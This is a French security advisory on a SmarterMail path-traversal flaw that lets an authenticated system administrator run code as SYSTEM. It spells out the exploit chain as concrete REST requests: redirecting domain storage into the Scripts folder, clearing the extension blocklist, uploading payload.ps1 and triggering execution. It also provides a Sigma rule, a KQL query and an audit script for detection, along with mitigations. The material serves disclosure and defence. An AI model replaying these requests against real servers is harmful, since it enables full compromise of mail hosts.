Déploiement de la build 9777
Mettre à jour immédiatement SmarterMail vers la Build 9777 ou une version ultérieure pour neutraliser le contournement de chemin.
SmarterTools SmarterMail — Pipeline d'administration des volumes montés et du stockage de domaine La métrique CVSS v3.1 attribue un score de 8.6 (Élevé) en raison de la condition préalable de privilèges d'administrateur système (PR:H). Le score de menace Hermes évalue la sévérité à 92 (CRITIQUE). Au niveau du périmètre externe de l'entreprise, les passerelles SmarterMail sont directement exposées sur Internet pour traiter les flux SMTP, le webmail et ActiveSync. Les attaquants enchaînent couramment les vulnérabilités post-authentification avec le vol de session, des identifiants par défaut ou des élévations de privilèges (à l'instar de la faille CVE-2026-104084 sur les jetons JWT). Dès lors que le contexte administrateur est obtenu, l'incapacité à confiner le mécanisme de montage de volume à son répertoire dédié permet de déposer un script exécutable dans l'arborescence approuvée et d'obtenir une exécution de code sous le compte NT AUTHORITY\\SYSTEM, compromettant totalement le serveur Windows.
Software platform affected by security vulnerabilities and agentic attack patterns.
“Confirmed security vulnerability in SmarterTools SmarterMail Mail Server documented in Hermes dossier.”
SmarterMail est largement déployé comme alternative à Microsoft Exchange pour fournir la messagerie, la synchronisation mobile et le stockage partagé sur plateforme Windows.
| Paramètre | Spécification technique | Détails opérationnels |
|---|---|---|
| Identifiant CVE | CVE-2026-104082 | Référence du catalogue international des vulnérabilités |
| Produit affecté | SmarterTools SmarterMail | Serveur de messagerie et de collaboration d’entreprise |
| Composant vulnérable | Gestionnaires REST des points de montage et du stockage | Contrôleurs d’administration système |
| Classe de vulnérabilité | CWE-73 / CWE-284 / CWE-94 | Traversée de répertoires / contournement d’accès / exécution de code |
| Vecteur d’attaque | Réseau (API REST sous /api/v1/settings/*) | Chaîne d’exploitation administrative authentifiée |
| Version corrective | SmarterMail Build 9777 | Validation canonique des chemins et confinement strict |
[ Attaquant authentifié (SysAdmin) ] | 1. POST /api/v1/settings/domain-put - Définit FileStore du domaine : "C:\SmarterMail\Scripts\staged\" | v +-------------------------------------------+ | Contrôleur d'API REST SmarterMail | | Absence de contrôle canonique de chemin;| | Lie le stockage utilisateur aux scripts | +-------------------------------------------+ | 2. POST /api/v1/settings/global-mail - Vide la liste noire des extensions : [] | 3. POST /api/v1/file-storage/upload - Téléversement du script PowerShell : payload.ps1 | v +-------------------------------------------+ | Écriture du fichier sur le disque :| | C:\SmarterMail\Scripts\payload.ps1 | +-------------------------------------------+ | 4. POST /api/v1/settings/CommandMount - Cible : payload.ps1 | v +-------------------------------------------+ | Exécution par le service Windows | | Contexte : NT AUTHORITY\SYSTEM | | Prise de contrôle de l'hôte | +-------------------------------------------+La faille réside dans l’interaction entre le sous-système de stockage de fichiers utilisateur et le gestionnaire d’automatisation des volumes montés :
domain-put)Lors de la configuration d’un domaine via /api/v1/settings/domain-put, l’administrateur définit l’emplacement du stockage des pièces jointes (fileStorePath). Les versions vulnérables n’interdisaient pas le chevauchement avec le répertoire approuvé des scripts :
POST /api/v1/settings/domain-put HTTP/1.1Host: mail.entreprise-cible.comAuthorization: Bearer <jeton_sysadmin_jwt>Content-Type: application/json
{ "domain": "cible.corp", "fileStorePath": "C:\\SmarterMail\\Scripts\\staged"}global-mail)SmarterMail applique par défaut une liste noire bloquant les extensions .bat, .cmd, .ps1 et .exe. Le point d’accès /api/v1/settings/global-mail permettait toutefois d’effacer cette liste sans validation de sécurité :
POST /api/v1/settings/global-mail HTTP/1.1Host: mail.entreprise-cible.comAuthorization: Bearer <jeton_sysadmin_jwt>Content-Type: application/json
{ "blockedExtensions": []}Une fois le filtre désactivé, l’attaquant téléverse un script PowerShell (payload.ps1) via /api/v1/file-storage/upload. Le fichier est directement écrit dans C:\SmarterMail\Scripts\staged\payload.ps1.
CommandMountL’attaquant déclenche alors la commande de montage :
POST /api/v1/settings/CommandMount HTTP/1.1Host: mail.entreprise-cible.comAuthorization: Bearer <jeton_sysadmin_jwt>Content-Type: application/json
{ "mountId": "Volume1", "scriptPath": "C:\\SmarterMail\\Scripts\\staged\\payload.ps1"}Le service SmarterMail vérifie que le script se trouve bien dans le répertoire approuvé, puis instancie le processus via System.Diagnostics.Process.Start, héritant des privilèges maximaux de la machine hôte (SYSTEM).
Bien que l’exploitation nécessite des privilèges d’administrateur, plusieurs scénarios d’attaque concrets facilitent son exécution :
SYSTEM obtenu sur le serveur de messagerie, les attaquants peuvent extraire les condensats de mots de passe en mémoire via LSASS pour pivoter sur le réseau interne.title: Dépôt de script malveillant dans le répertoire Scripts de SmarterMailid: 5b4c3e21-9981-4082-a7e1-smarter00001status: stabledescription: Détecte la création de scripts exécutables dans le répertoire Scripts de SmarterMail par le processus du service de messagerie.author: Hermes Codex Cyber Intelligencereferences: - https://vulncheck.com/advisories/smartermail-build-9777-sysadmin-remote-code-execution-via-volume-mount - https://nvd.nist.gov/vuln/detail/CVE-2026-104082date: 2026-10-10logsource: category: file_event product: windowsdetection: selection_process: Image|endswith: '\SmarterMail.Service.exe' selection_path: TargetFilename|contains: '\SmarterMail\Scripts\' TargetFilename|endswith: - '.ps1' - '.bat' - '.cmd' - '.exe' - '.vbs' condition: selection_process and selection_pathfields: - TargetFilename - ProcessId - Userfalsepositives: - Déploiement légitime de scripts d'administration lors d'opérations de maintenance planifiéeslevel: high// Détection des processus enfants anormaux engendrés par le service SmarterMailDeviceProcessEvents| where InitiatingProcessFileName =~ "SmarterMail.Service.exe"| where FileName in~ ("powershell.exe", "pwsh.exe", "cmd.exe", "cscript.exe", "wscript.exe")| project TimeGenerated, DeviceName, InitiatingProcessFileName, FileName, ProcessCommandLine, AccountName| order by TimeGenerated desc# Audit du dossier Scripts de SmarterMail à la recherche de fichiers exécutables suspects$ScriptsDir = "C:\SmarterMail\Scripts"if (Test-Path $ScriptsDir) { Get-ChildItem -Path $ScriptsDir -Recurse -Include *.ps1, *.bat, *.cmd, *.exe, *.vbs | Select-Object FullName, Length, CreationTime, LastWriteTime | Format-Table -AutoSize} else { Write-Host "Le répertoire des scripts SmarterMail est introuvable au chemin standard."}Déploiement de la build 9777
Mettre à jour immédiatement SmarterMail vers la Build 9777 ou une version ultérieure pour neutraliser le contournement de chemin.
Isolation de l'interface d'administration
Restreindre l’accès à la console d’administration au réseau local d’administration ou à un sous-réseau dédié.
Réduction des privilèges du service
Faire fonctionner le service Windows SmarterMail sous un compte de service virtuel restreint plutôt que sous le compte système NT AUTHORITY\SYSTEM.
Audit des comptes d'administration
Auditer l’ensemble des comptes dotés des privilèges SysAdmin et renouveler les mots de passe maîtres.